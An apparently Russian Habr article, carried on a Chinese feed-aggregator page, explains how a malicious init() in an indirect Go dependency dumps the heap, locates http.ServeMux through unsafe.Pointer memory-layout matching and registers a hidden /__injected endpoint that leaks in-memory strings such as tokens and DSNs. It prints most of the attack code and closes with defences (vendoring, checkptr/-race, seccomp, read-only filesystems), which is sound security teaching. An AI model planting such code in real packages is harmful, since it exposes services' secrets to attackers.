惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

WordPress大学
WordPress大学
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
The Register - Security
The Register - Security
Recorded Future
Recorded Future
M
MIT News - Artificial intelligence
MyScale Blog
MyScale Blog
GbyAI
GbyAI
L
LangChain Blog
云风的 BLOG
云风的 BLOG
D
Docker
PCI Perspectives
PCI Perspectives
T
The Blog of Author Tim Ferriss
C
Cisco Blogs
Vercel News
Vercel News
The Last Watchdog
The Last Watchdog
K
KPMG report finds enterprise disconnect between AI and its ROI | CIO
The GitHub Blog
The GitHub Blog
Blog — PlanetScale
Blog — PlanetScale
Engineering at Meta
Engineering at Meta
Project Zero
Project Zero
H
Help Net Security
T
Troy Hunt's Blog
C
CXSECURITY Database RSS Feed - CXSecurity.com
Cyberwarzone
Cyberwarzone
酷 壳 – CoolShell
酷 壳 – CoolShell
Schneier on Security
Schneier on Security
S
Security @ Cisco Blogs
博客园 - 司徒正美
V2EX - 技术
V2EX - 技术
Cloudbric
Cloudbric
Google Online Security Blog
Google Online Security Blog
G
Google Developers Blog
S
Schneier on Security
Microsoft Security Blog
Microsoft Security Blog
博客园 - 叶小钗
The Cloudflare Blog
G
GRAHAM CLULEY
The Hacker News
The Hacker News
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
人人都是产品经理
人人都是产品经理
Attack and Defense Labs
Attack and Defense Labs
小众软件
小众软件
博客园 - 【当耐特】
MongoDB | Blog
MongoDB | Blog
T
Threatpost
T
Tor Project blog
www.infosecurity-magazine.com
www.infosecurity-magazine.com
S
SegmentFault 最新的问题
SecWiki News
SecWiki News
Y
Y Combinator Blog

Все публикации подряд на Хабре

Ловим музу за клавиатуру: как айтишнику стать автором Что умеет Midjourney в 2026? Мой немного грустный разбор этого шикарного инструмента Никто не любит писать тесты, но ИИ может исправить это IPv8 выглядит как мечта. Поэтому почти наверняка не взлетит Производители вернули в продажу материнки с DDR3. Что происходит? Управление агентом с телефона через Telegram теперь в KodaCode От координации к лидерству: как меняется роль руководителя разработки Я сделала родителям бизнес вместо пенсии: зарабатываем 70 тысяч, мама не даёт продать В три раза быстрее приемка товара и оптимизация трудозатрат на 73%: как «РСТ-Инвент» помог Gulliver Group ИИ-шечный мир победил? О влиянии искусственного интеллекта на игропром Кремль снижает давление на Телеграмм пока Европа строит интернет по паспорту Как CEO, CTO и CIO за 8 часов собрали ИИ-директора, который умеет держать позицию под давлением Как (не) потерять домен за выходные Вместо 8 разных VPS: как я организовал практику студентам на одном сервере Почему твой Open Source проект не замечают? R&D: искусство управления неопределенностью в разработке AI-дефляция: вакансий для разработчиков больше, а рост зарплат — худший за 15 лет Мы отдали управление роботами OpenClaw. Что из этого вышло Галактический ID: система идентификации для всех форм разумной жизни Шесть основ бизнес-анализа: начинаем с вопроса «Кто в игре?» Код-ревью, в котором дело не в коде Данные переехали. Команда — нет Системной подход к сдаче OSWE в 2025 Почему комната управления реактором покрашена в цвет морской пены 4 YAML-файла вместо PySpark: как аналитикам строить пайплайны без разработчиков LLM-агент для поиска свободных доменов: автоматизируем подбор Когда, зачем и как правильно начинать новую сессию в Claude Code? Как я заставил нейросеть писать макросы для FreeCAD Анатомия ИИ‑агента для подбора персонала. От тысячи резюме к топ‑10 за минуты Опыт разработчика как экономика внимания Автономность как точка невозврата: кто будет субъектом в цифровом будущем Обучение ИИ в «диких» условиях: как рутинные действия превращаются в датасеты Как измерить LLM для задач кибербеза: обзор открытых бенчмарков Где хранить код? Сравнение GitHub, GitLab и Bitbucket Математика объясняет, почему нормальное распределение встречается повсюду Почему ваш FinOps не работает: 12 тезисов от практиков Как подписать проектную документацию УКЭП с использованием бесплатных лицензий Pilot Адаптивное администрирование Sigla Vision Я грузил уран в бочки, а потом 20 лет строил ИТ в атомной отрасли Чем позвонить с Эвереста? История и обзор спутниковой связи. Часть 2 Как языковая модель помогает контролировать качество инструктажей по охране труда в металлургии Как не передать на desktop свой IP в РКН Анатомия SAP Privileges: как устроено управление правами в macOS MoneyDev: Сказка про три главных слова Обновлённый токенизатор видео K-VAE 2.0 от Сбера Как сделать диспетчеризацию дома на 1284 квартиры почти бесплатно Как мы разогнали железную дорогу Мы дали агентам рутину. Теперь надо решить — что делать с освободившимся временем Токсичный контент, промпт-хакинг и защита ИИ — всё о Guardrails для LLM Умный город начинается с точного взгляда: как «Фалькон Тех» меняет пространство к лучшему Навайбкодил приложение для анализа графов Почему Дюну так интересно читать? Упрощаем работу с рутиной или как стать Гендальфом Белым Деконструкция Go: CPU, RAM и что там происходит. Go Assembler база. Часть 1.1 Какие профессии исчезнут из-за ИИ, а какие появятся? И что с этим делать Как мы построили IT-отдел, где хочется расти: архитектурные встречи, прозрачные метрики и книжные подарки Rufler: Делаем из Claude Code автономный рой через один YAML-конфиг Sing-box и белый список приложений Как построить надёжный обмен сообщениями в микросервисах: лучшие практики для enterprise OpenAI строит MLM-пирамиду, а McKinsey и Accenture помогают ей в этом Дом, который не построил Фишер (Часть 2) «Сверхзвуковой математик» против «Вдумчивого логиста»: битва алгоритмов 3D-упаковки Мультимодальные модели – грубый и дорогой инструмент Разговоры ничего не стоят. Код тоже Проверки физических лиц: с кого начнет ФНС Топ-10 бесплатных нейросетей для создания видео в 2026 году Первые слои кода: как наши решения сегодня определяют архитектуру ИИ на десятилетия Разработка нового статического анализатора: PVS-Studio JavaScript Поиск уязвимостей ПО: базовый минимум или роскошный максимум Почему оценка персонала не работает как инструмент управления Как мы разработали ИИ-ассистента и сократили рутину продуктовой команды на 50% Как я ушел из найма, нажарил косточек и продал на маркетплейсах на 168 млн в год Когда 1С:ERP уже внедрена, а нормального производственного плана всё ещё нет Как я сделал Claude мультимодальным, подключив к нему Qwen Omni Как приглашение на вакансию мечты превращается в атаку Infrastructure as Code: философия и лучшие практики IaC Тестируем Yandex Code Assistant на задаче, в которой нужно хранить секреты nxs-universal-chart v3.0: новое поколение универсального Helm-чарта Callback Injection: Техника, которая отправила Microsoft Defender в глухой нокаут «Все идеи на стол»: митап как способ вывести проект из тупика Сегодня я узнал нечто новое о GPU благодаря багу в своей игре Как заставить LLM ̶ ̶г̶а̶л̶л̶ю̶ ̶ эволюционировать Карта событий как фундамент аналитики: практический кейс для E-commerce Что выбрать для AI: x86, ARM или RISC-V? Дайджест железа за март Роль соматических мутаций в развитии аутоиммунных заболеваний: путь к избирательной терапии Mythos от Anthropic — тревожный сигнал для всех, а не только для банков Guardrails для LLM на Java: как приручить промпт‑инъекции и токсичные ответы Green-VLA: как мы собрали VLA-модель для реального антропоморфного робота и не потеряли обобщение Финансовая гонка вооружений: почему умные люди добровольно в ней участвуют Эра ИИ-агентов наступила: выбираем лучшего цифрового сотрудника # Практический опыт внедрения WinCC Redundancy на производственном предприятии Сделал MVP за 3 дня, а потом неделю прикручивал оплату. Оно того стоило? Физика против Маска: почему Starship V3 может оказаться ещё одной катастрофой Нефть Венесуэлы: крупнейшие запасы в мире, но не крупнейшая нефтяная держава JPA 4. Переосмысление Hibernate Почему зеркальная фотокамера Nikon D5 десятилетней давности идеально подошла для миссии «Артемида-2» Проект «Уровень-Спутник» или как мы сделали платформу для гидрологов «Замедлиться, чтобы ускориться»: почему ИИ повышает цену ошибок в требованиях и архитектуре Как с нуля поднять трафик IT-компании на 1657% при бюджете 55 тыс. и выжить Pixel-perfect Downsampling — идеальная отрисовка 50 миллионов точек без потерь
Как незаметная indirect-зависимость в Go дописала ручку в ваш HTTP-сервер
Дмитрий Титов · 2026-06-17 · via Все публикации подряд на Хабре

Средний

13 мин

438

Как незаметная indirect-зависимость в Go дописала ручку в ваш HTTP-сервер

Все примеры из статьи лежат в репозитории github.com/korableg/init-injection-example. Код «вредоноса» написан в учебных целях — чтобы показать класс проблемы, а не дать готовый инструмент. Запускайте только в песочнице.

История простая: у нас есть аккуратный сервис на net/http с единственной ручкой /time. Мы обновляем одну библиотеку через go get, ничего не меняя в своём коде. После рестарта в сервисе появляется ручка /__injected, которая отдаёт строки из памяти процесса. Мы её не регистрировали. Более того — пакет, который её зарегистрировал, формально в сервисе не используется.

Дальше — разбор, как такое вообще возможно, шаг за шагом: от модели зависимостей Go и функции init до сканирования кучи и unsafe.Pointer. И, конечно, как от этого защищаться.

Часть 1. Как Go видит зависимости

Чтобы понять атаку, нужно держать в голове три факта о модульной системе Go. Если вы уверенно читаете go.mod — можно пролистать до части 2.

1.1. Модуль начинается с go mod init

go mod init github.com/korableg/init-injection-example

Команда создаёт в корне go.mod. Путь модуля бывает двух видов:

  • для библиотеки — полный импортируемый путь (github.com/org/lib), по которому её будут тянуть другие;

  • для сервиса — может быть просто уникальным идентификатором, наружу его никто не импортирует.

Если сервис должен экспортировать пакеты (например, сгенерированные protobuf-контракты), под них заводят отдельный external-модуль с полным именем — его и импортируют соседи.

1.2. Один способ импорта на всё — go get

go get github.com/igrmk/treemap/v2@v2.0.1

go get — универсальный способ затянуть любую зависимость: библиотеку, инструмент, обновление версии. Именно эта команда в нашей истории и станет точкой входа атаки.

1.3. Анатомия go.mod

module github.com/korableg/init-injection-example/lib   // 1. путь модуля

go 1.26.3                                          // 2. версия языка (минимальная)

replace github.com/korableg/init-injection-example/db => ../db   // 3. подмена

require github.com/korableg/init-injection-example/db v0.0.0-...  // 4. прямая зависимость

require (                                          // 5. indirect-зависимости
	github.com/burntcarrot/heaputil v0.0.0-... // indirect
	github.com/igrmk/treemap/v2 v2.0.1         // indirect
	golang.org/x/exp v0.0.0-...                // indirect
)

exclude github.com/burntcarrot/heaputil v1.0.0     // 6. исключение версии

Шесть элементов:

  1. Путь модуля — разобрали выше.

  2. Версия языка — минимальная версия Go, чьи языковые фичи разрешено использовать в модуле; компилятор отвергнет всё, что появилось позже. За конкретный тулчейн отвечает отдельная директива toolchain (если её нет — берётся версия из строки go).

  3. replace — подменяет зависимость на форк или на локальную директорию.

  4. Прямая зависимость — то, что вы сами добавили через go get.

  5. Indirect-зависимость (я называю их «теневыми») — то, что вы явно не импортируете, но что тянут используемые вами пакеты. Помечается комментарием // indirect.

  6. exclude — запрет конкретной версии.

Запомните пункт 5 — // indirect. Вся интрига статьи держится на одном вопросе: что Go выполняет в indirect-зависимостях, которые ваш код напрямую не вызывает?

Часть 2. init — тихий вход

2.1. Сигнатура

init — функция без аргументов и без возвращаемого значения:

func init() {
	// ...
}

Особенности:

  • располагать её можно где угодно в пакете (не обязательно сверху);

  • в одном пакете может быть несколько функций init — хоть в каждом файле.

2.2. Три свойства, которые надо помнить

  1. Неявный вызов. init выполняется автоматически, до любого вашего кода, до main.

  2. Порядок. Несколько init в пакете выполняются в порядке объявления. А init зависимых пакетов выполняются до init вашего пакета — в порядке импорта.

  3. Назначение. Классически init используют для настройки глобального состояния, регистрации обработчиков и прочей подготовки до старта основной логики.

2.3. Канонический пример — database/sql

Драйверы БД в Go регистрируются именно через init. Стандартная библиотека предоставляет sql.Register:

package db

import (
	"database/sql"
	"database/sql/driver"
	"fmt"
)

func init() {
	fmt.Println("YAY! db driver was registered 😻")
	sql.Register("fooDB", &drv{})
}

type drv struct{}

func (*drv) Open(name string) (driver.Conn, error) {
	return nil, nil
}

Поэтому драйверы и подключают «пустым» импортом:

import _ "github.com/jackc/pgx/v5/stdlib"   // postgres
import _ "github.com/go-sql-driver/mysql"    // mysql
import _ "github.com/ClickHouse/clickhouse-go" // clickhouse

Вы не вызываете из пакета ни одной функции — но его init уже зарегистрировал драйвер. Удобно. И ровно здесь зарыта мина.

2.4. Что не так с init

Чем удобен init — и чем он опасен

Чем удобен init — и чем он опасен

Первые три пункта — про читаемость и тестируемость. А вот четвёртый — главный герой статьи:

init выполняется даже в indirect-зависимости, которую ваш код фактически не использует. Достаточно, чтобы пакет попал в граф сборки.

Дальше покажу, что это значит на практике.

Часть 3. Подопытный сервис

Смоделируем реалистичную ситуацию. Есть сервис example-service с одной ручкой /time:

// example-service/cur_timestamp.go
type curTimestamp struct{}

func (*curTimestamp) Handler() (string, http.Handler) {
	return "GET /time", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		w.WriteHeader(http.StatusOK)
		_, _ = w.Write([]byte(strconv.FormatInt(time.Now().Unix(), 10)))
	})
}

HTTP-сервер мы оборачиваем во внутреннюю библиотеку lib — представьте «общую обвязку» с единым конфигом, которую переиспользуют все сервисы компании:

// example-service/main.go
func main() {
	cfg := config.NewConfig()

	srvr := rest.New(cfg.Rest, &curTimestamp{})
	go srvr.Serve()
	// ... graceful shutdown
}

Конфиг библиотеки — это удобная композитная структура: настройки REST, базы данных и некоего сервиса foo (он тут для массовки):

// lib/config/config.go
package config

import (
	"github.com/korableg/init-injection-example/db"
	"github.com/korableg/init-injection-example/lib/foo"
	"github.com/korableg/init-injection-example/lib/rest"
)

type Config struct {
	Rest *rest.Config `yaml:"rest"`
	DB   *db.Config   `yaml:"db"` // <-- вот эта строчка решает всё
	Foo  *foo.Config  `yaml:"foo"`
}

Обратите внимание на поле DB *db.Config. Сервис example-service не работает с базой. Он отдаёт таймстамп. Но его «общий конфиг» из библиотеки ссылается на тип db.Config — а значит, пакет db попадает в граф сборки.

Смотрим go.mod сервиса:

module example

go 1.26.3

replace github.com/korableg/init-injection-example/lib => ../lib
replace github.com/korableg/init-injection-example/db  => ../db

require github.com/korableg/init-injection-example/lib v0.0.0-...

require (
	github.com/burntcarrot/heaputil v0.0.0-... // indirect
	github.com/igrmk/treemap/v2 v2.0.1         // indirect
	github.com/korableg/init-injection-example/db v0.0.0-... // indirect  <-- !!!
	golang.org/x/exp v0.0.0-...                // indirect
)

db помечен как // indirect. Сервис его напрямую не импортирует — он пришёл транзитивно через lib/config.

Цепочка зависимостей

Цепочка зависимостей: db приходит в сервис транзитивно как indirect

Цепочка зависимостей: db приходит в сервис транзитивно как indirect

Запускаем сервис — и в логах появляется:

YAY! db driver was registered 😻

init() из пакета db выполнился, хотя ни одной функции из db мы не вызывали. Просто потому что тип db.Config упомянут в структуре конфига. Пока что безобидно — зарегистрировался драйвер. Но это доказательство концепции: чужой init уже исполняется в адресном пространстве нашего процесса.

Часть 4. Обновление, которое всё меняет

Теперь смоделируем то, что происходит в реальной жизни постоянно: мы делаем go get и обновляем db до новой версии. В код сервиса мы не заглядываем — «там же только конфиг базы». А в новой версии init теперь выглядит так:

func init() {
	fmt.Println("YAY! db driver was registered 😻")
	sql.Register("fooDB", &drv{})
	inject() // <-- вот это приехало с обновлением
}

Заглянем в inject. И тут начинается самое интересное — функция оперирует unsafe.Pointer. Зачем? Разберёмся по частям.

Часть 5. Краткий ликбез по unsafe.Pointer

Чтобы понять эксплойт, нужно понимать два типа.

unsafe.Pointer против обычного указателя

Обычный указатель в Go типизирован: *int указывает на int, и компилятор это контролирует. unsafe.Pointer — это как void * в C: его можно преобразовать в указатель на любой тип, и компилятор не проверяет безопасность типов.

uintptr — указатель как число

unsafe.Pointer ↔ uintptr: что видит сборщик мусора

unsafe.Pointer ↔ uintptr: что видит сборщик мусора

  • unsafe.Pointer — настоящий указатель, garbage collector его отслеживает.

  • uintptr — беззнаковое целое размером с указатель. Над ним доступна арифметика (над unsafe.Pointer — нет). Но GC его не видит.

Почему нельзя гонять uintptr → unsafe.Pointer между выражениями

Из-за сборщика мусора. Как только адрес «сполз» в uintptr, GC перестаёт считать объект живым и может его переместить или собрать. Превратите uintptr обратно в указатель позже — и попадёте на освобождённую/перемещённую память. В лучшем случае — segfault.

Валидно (всё в одном выражении — компилятор и GC видят связь):

func Test_UnsafeValidOp(t *testing.T) {
	k := []byte{1, 2, 3, 4, 5, 6}
	p := (*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&k[0])) + 2))
	fmt.Println(*p) // 3
}

Невалидно (адрес «полежал» в переменной uP между выражениями):

func Test_UnsafeInvalidOp(t *testing.T) {
	k := []byte{1, 2, 3, 4, 5, 6}
	uP := uintptr(unsafe.Pointer(&k[0])) // адрес ушёл в uintptr...
	p := (*byte)(unsafe.Pointer(uP + 2)) // ...и используется в другом выражении
	fmt.Println(*p)
}

Такие конструкции ловят линтеры, go vet и checkptr. Но есть «легальный» обход — unsafe.Add, который умеет арифметику над unsafe.Pointer без перехода в uintptr:

func Test_UnsafeValidOp2(t *testing.T) {
	k := []byte{1, 2, 3, 4, 5, 6}
	var offset uintptr = 2

	uP := unsafe.Pointer(&k[0])
	p := (*byte)(unsafe.Add(uP, offset)) // линтер считает валидным
	fmt.Println(*p) // 3
}

Именно unsafe.Add использует inject, чтобы спокойно делать арифметику над адресами и не привлекать внимания инструментов.

Часть 6. Как inject находит и захватывает HTTP-роутер

Теперь, вооружившись знанием про unsafe, разберём inject целиком. Общая идея:

Полный поток inject(): от дампа кучи до регистрации /__injected

Полный поток inject(): от дампа кучи до регистрации /__injected

6.1. Дамп кучи

Чтобы найти роутер в памяти, inject снимает дамп всей кучи штатным средством runtime/debug:

func objectsFromHeap() ([]*record.ObjectRecord, error) {
	f, err := os.CreateTemp(os.TempDir(), "*")
	if err != nil {
		return nil, err
	}
	defer func() {
		f.Close()
		os.Remove(f.Name())
	}()

	// Пишем дамп кучи в файл.
	// Формат: https://go.dev/wiki/heapdump15-through-heapdump17
	debug.WriteHeapDump(f.Fd())

	if _, err = f.Seek(0, 0); err != nil {
		return nil, err
	}
	return parseDump(bufio.NewReader(f))
}

debug.WriteHeapDump принимает один аргумент — файловый дескриптор. Поэтому сначала создаётся временный файл, в него пишется дамп, затем он парсится библиотекой heaputil в список объектов. Все адреса в дампе хранятся как беззнаковые целые. (Парсинг формата дампа — отдельная большая тема, см. ссылку в коде.)

6.2. Адрес → указатель через «нулевую базу»

Зная, что любой адрес — это смещение от начала виртуального адресного пространства, можно прибавить адрес объекта к нулевому указателю и получить рабочий unsafe.Pointer:

ptr := unsafe.Add(unsafe.Pointer(nil), obj.Address)

6.3. Распознавание http.ServeMux по разметке памяти

Дальше нужно понять, какой из объектов кучи — это http.ServeMux. Для этого в пакете заранее объявлены структуры, повторяющие внутреннюю разметку приватных типов из net/http:

type (
	// Структуры повторяют верстку внутренних типов http.ServeMux
	routingIndexKey struct {
		pos int
		s   string
	}
	segment struct {
		s     string
		wild  bool
		multi bool
	}
	pattern struct {
		str      string
		method   string
		host     string
		segments []segment
		loc      string
	}
	routingIndex struct {
		segments map[routingIndexKey][]*pattern
		multis   []*pattern
	}
)

Поскольку unsafe.Pointer можно привести к любому типу, а в памяти эти структуры лежат байт-в-байт как оригиналы из net/http, можно «надеть» их на сырой адрес и прочитать.

Распознавание идёт по нескольким опорным признакам.

Опорное значение №1 — реальный размер ServeMux в памяти. Здесь хитрость: объект в куче занимает не unsafe.Sizeof, а размер ближайшего класса аллокации (size class) Go — рантайм округляет вверх. Размер класса вычисляют красивым хаком:

func calculateSizeClass(n uintptr) int {
	b := append([]byte(nil), make([]byte, n)...)
	return cap(b) // рантайм подогнал capacity под нужный size class
}

Берём n-байтный слайс, аппендим в пустой безразмерный — рантайм подгоняет capacity под класс памяти. cap и есть реальный размер. (Классы памяти — см. runtime/sizeclasses.go.)

Опорные значения №2 — смещения и количество полей под конкретную разметку ServeMux. Собираем всё вместе:

muxSize      = unsafe.Sizeof(http.ServeMux{})
muxSizeClass = calculateSizeClass(muxSize)

var (
	muxFirstOffset        uint64 = 24
	muxRoutingIndexOffset        = 96
	muxFieldsCount               = 10
)

for _, obj := range objects {
	ptr := unsafe.Add(unsafe.Pointer(nil), obj.Address)

	if len(obj.Fields) == muxFieldsCount &&
		obj.Fields[0] == muxFirstOffset &&
		len(obj.Contents) == muxSizeClass {

		ri := (*routingIndex)(unsafe.Add(ptr, muxRoutingIndexOffset))
		if ri != nil && len(ri.segments) > 0 {
			mux = (*http.ServeMux)(ptr) // нашли роутер!
		}
	}
	addContents(obj, tm)
}

Объект-кандидат проверяется по трём признакам: число полей == 10, первое поле == 24, размер == ожидаемому size class. Затем по смещению routingIndexOffset достаётся routingIndex и проверяется, что в нём есть зарегистрированные маршруты. Совпало — перед нами живой *http.ServeMux нашего сервиса.

6.4. Заодно — сбор строк из кучи

Параллельно inject складывает в упорядоченный TreeMap[uintptr, string] весь валидный UTF-8-контент объектов кучи:

func addContents(obj *record.ObjectRecord, tm *contentTree) {
	if !utf8.Valid(obj.Contents) {
		return
	}
	data := strings.Map(func(r rune) rune {
		if unicode.IsGraphic(r) {
			return r
		}
		return -1
	}, string(obj.Contents))

	if len(data) == 0 {
		return
	}
	tm.Set(uintptr(obj.Address), data)
}

Это — конфиги, токены, DSN-ы, любые строки, которые сервис держит в памяти.

6.5. Финал — регистрация чужой ручки

mux.HandleFunc("/__injected", handleFunc(tm))

handleFunc просто отдаёт собранную мапу адрес → строка:

return func(w http.ResponseWriter, r *http.Request) {
	w.WriteHeader(http.StatusOK)
	w.Write(data) // "0x... <строка из кучи>\n" построчно
}

Запускаем сервис, идём на /__injected — и получаем дамп строкового содержимого процесса. Ручку никто из нас не регистрировал; её дописал init пакета, который в сервисе даже не используется напрямую.

И отдельно про инструменты. Обычная сборка (go build) и go vet тревогу не поднимают — код компилируется и спокойно работает. Гонки здесь тоже нет: в чистом race-репорте пусто, потому что inject не пишет в общую память конкурентно. Но есть нюанс, важный для CI: флаг -race неявно включает checkptr — рантайм-проверку корректности арифметики указателей. И вот она этот эксплойт ловит — сборка с -race падает с фатальной ошибкой ровно на unsafe.Add(unsafe.Pointer(nil), obj.Address):

fatal error: checkptr: pointer arithmetic result points to invalid allocation
	.../db/harmful.go:179

То есть незаметным эксплойт остаётся только для «ванильного» пайплайна. Стоит собрать или прогнать тесты с -race (или явно с checkptr) — и трюк с «нулевой базой» вскрывается. Это, кстати, готовый аргумент гонять -race/checkptr в CI (вернёмся к этому в части 7.2).

Дальше включайте фантазию: вместо «вывести строки» можно подменить хендлеры, проксировать трафик, утащить секреты.

Часть 7. Как с этим бороться

7.1. Главное — гранулируйте зависимости

Корень проблемы — композитный конфиг в библиотеке. Поле DB *db.Config втащило весь пакет db (с его init) в сервис, которому база не нужна.

Было/стало: композитный конфиг тянет db во все сервисы; гранулированный — только туда, где он нужен

Было/стало: композитный конфиг тянет db во все сервисы; гранулированный — только туда, где он нужен

Правило: в библиотеках не делайте структур-агрегатов из чужих пакетов. Пусть будет отдельный rest.Config, отдельный db.Config, и каждый сервис подключает только то, что реально использует. Это не спасёт сервисы, которым база нужна по-настоящему, но как минимум вынесет проблему из тех, кому она вообще ни к чему.

7.2. Инструменты

Инструмент

Что делает

vendoring (go mod vendor)

Кладёт копии всех зависимостей в vendor/. При обновлении изменения видны прямо в git diff — чужой inject() не проедет незамеченным в ревью.

deadcode

Ищет недостижимый код. В отличие от unused из golangci-lint, проверяет и экспортные методы, и используемые только в тестах (поэтому не годится для библиотек).

GCI

Упорядочивает импорты по заданным правилам — дисциплина в импортах помогает замечать лишнее.

govulncheck

Сканирует проект на известные уязвимости (NVD, GHSA, база Go vuln). Есть веб-интерфейс — пакет можно проверить до подключения.

checkptr

Рантайм-проверки корректности арифметики указателей. Именно она роняет наш эксплойт на unsafe.Add(unsafe.Pointer(nil), addr). Включается флагом -race, поэтому достаточно гонять тесты/сборку с -race в CI.

7.3. Перекрыть атаке кислород на уровне ОС: запрет на создание файлов

Предыдущие меры — про то, чтобы зловред вообще не попал в сборку. Но можно поставить ещё один рубеж — на уровне ОС, исходя из того, что эксплойту физически нужно для работы.

Вспомним часть 6.1: inject не умеет читать кучу напрямую. Ему нужно снять дамп через debug.WriteHeapDump(f.Fd()), а эта функция требует записываемый файловый дескриптор (по документации — обычный файл или сокет, не pipe). Поэтому эксплойт сначала зовёт os.CreateTemp(...), который под капотом делает системный вызов openat(2) с флагом O_CREAT:

Запрет на создание файлов рвёт цепочку на вызове openat(2)

Запрет на создание файлов рвёт цепочку на вызове openat(2)

Если процесс не может создать файл в нужном месте — os.CreateTemp вернёт ошибку, objectsFromHeap отвалится с err, и inject просто молча выйдет (он глотает ошибку: if err != nil { return }). Дампа кучи нет — ServeMux не найден — ручка не зарегистрирована. Цепочка рвётся на самом первом «грязном» сисколле.

Большинству сервисов запись на диск во время работы вообще не нужна (логи идут в stdout, состояние — в БД). Значит, можно отобрать у процесса право создавать файлы — либо целиком, либо разрешив запись только в один заранее известный путь.

Важно делать это снаружи, на уровне оркестратора, а не из кода сервиса. Соблазн «включить ограничение в начале main» не сработает: init indirect-зависимостей выполняется до main, так что любую защиту, поднятую из своего же кода, зловред в init просто опередит. Ограничение, навешенное контейнером/ядром ещё до старта процесса, этой дыры лишено.

seccomp-BPF — фильтр системных вызовов

seccomp-BPF режет по самим сисколлам. Вы описываете BPF-фильтр (обычно по allowlist-принципу, как в дефолтном профиле Docker) и запрещаете процессу вызывать openat/creat/open с флагами создания. Тогда любая попытка создать файл — включая os.CreateTemp из inject — упрётся в EPERM/EACCES ещё на уровне ядра.

Применяют это на уровне оркестратора:

  • Docker--security-opt seccomp=profile.json с кастомным профилем без файлосоздающих сисколлов;

  • KubernetesseccompProfile в securityContext пода;

  • плюс ортогональные меры — readOnlyRootFilesystem: true и emptyDir-том только туда, где запись реально нужна.

readOnlyRootFilesystem сам по себе уже ломает наш эксплойт: os.TempDir() по умолчанию указывает в /tmp, и если корневая ФС только для чтения — создать там временный файл не выйдет.

Чем это отличается от мер выше

Гранулирование зависимостей, вендоринг и govulncheck не дают зловреду попасть в сервис. Ограничение сисколлов исходит из обратного допущения — «предположим, он уже внутри» — и отбирает у него инструменты. Это defense in depth: даже если вредонос проскочил ревью, без права создать файл он не снимет дамп кучи и не доберётся до ServeMux.

7.4. Гигиена обновлений

Из истории вытекает несколько практик, которые стоит закрепить в команде:

  • читайте диф зависимостей при обновлении — особенно если в нём появляется unsafe, runtime/debug, os.CreateTemp, работа с дескрипторами;

  • держите vendor/ под контролем ревью;

  • прогоняйте govulncheck в CI и проверяйте новые пакеты на vuln.go.dev до подключения;

  • не тащите в библиотеки композитные конфиги — гранулируйте;

  • в проде запускайте сервисы с readOnlyRootFilesystem и урезанным seccomp-профилем — это дёшево и ломает целый класс атак, завязанных на запись файлов.

Итог

Цепочка атаки оказалась короткой и абсолютно «легальной» с точки зрения компилятора:

  1. Библиотека держит композитный конфиг с полем DB *db.Config.

  2. Тип db.Config тащит весь пакет db в граф сборки сервиса — как indirect-зависимость.

  3. init пакета db выполняется, хотя сервис не вызывает из db ни строчки.

  4. init снимает дамп кучи, через unsafe.Pointer находит http.ServeMux по разметке памяти и дописывает свою ручку.

  5. Обычная сборка и go vet тревогу не поднимают — спасает только сборка с checkptr (в том числе через -race), которая роняет эксплойт на арифметике указателей.

init и unsafe — мощные и полезные механизмы. Но ровно их «удобство» — неявность init и бесконтрольность типов у unsafe — превращает невинное обновление зависимости в RCE-подобный сценарий. Защита строится в два эшелона. Первый — не дать зловреду попасть в сборку: гранулируйте зависимости, читайте дифы, вендорите и сканируйте. Второй — на случай, если он всё же проскочил: урежьте процессу права на уровне ОС снаружи, через оркестратор. Конкретно этому эксплойту для работы нужно создать файл под дамп кучи — запретите создание файлов (seccomp-профиль, readOnlyRootFilesystem), и цепочка порвётся на первом же сисколле.

Код для самостоятельного изучения — github.com/korableg/init-injection-example. Раскомментируйте inject() в db/drv.go, поднимите example-service и сходите на /__injected.

Спасибо за внимание.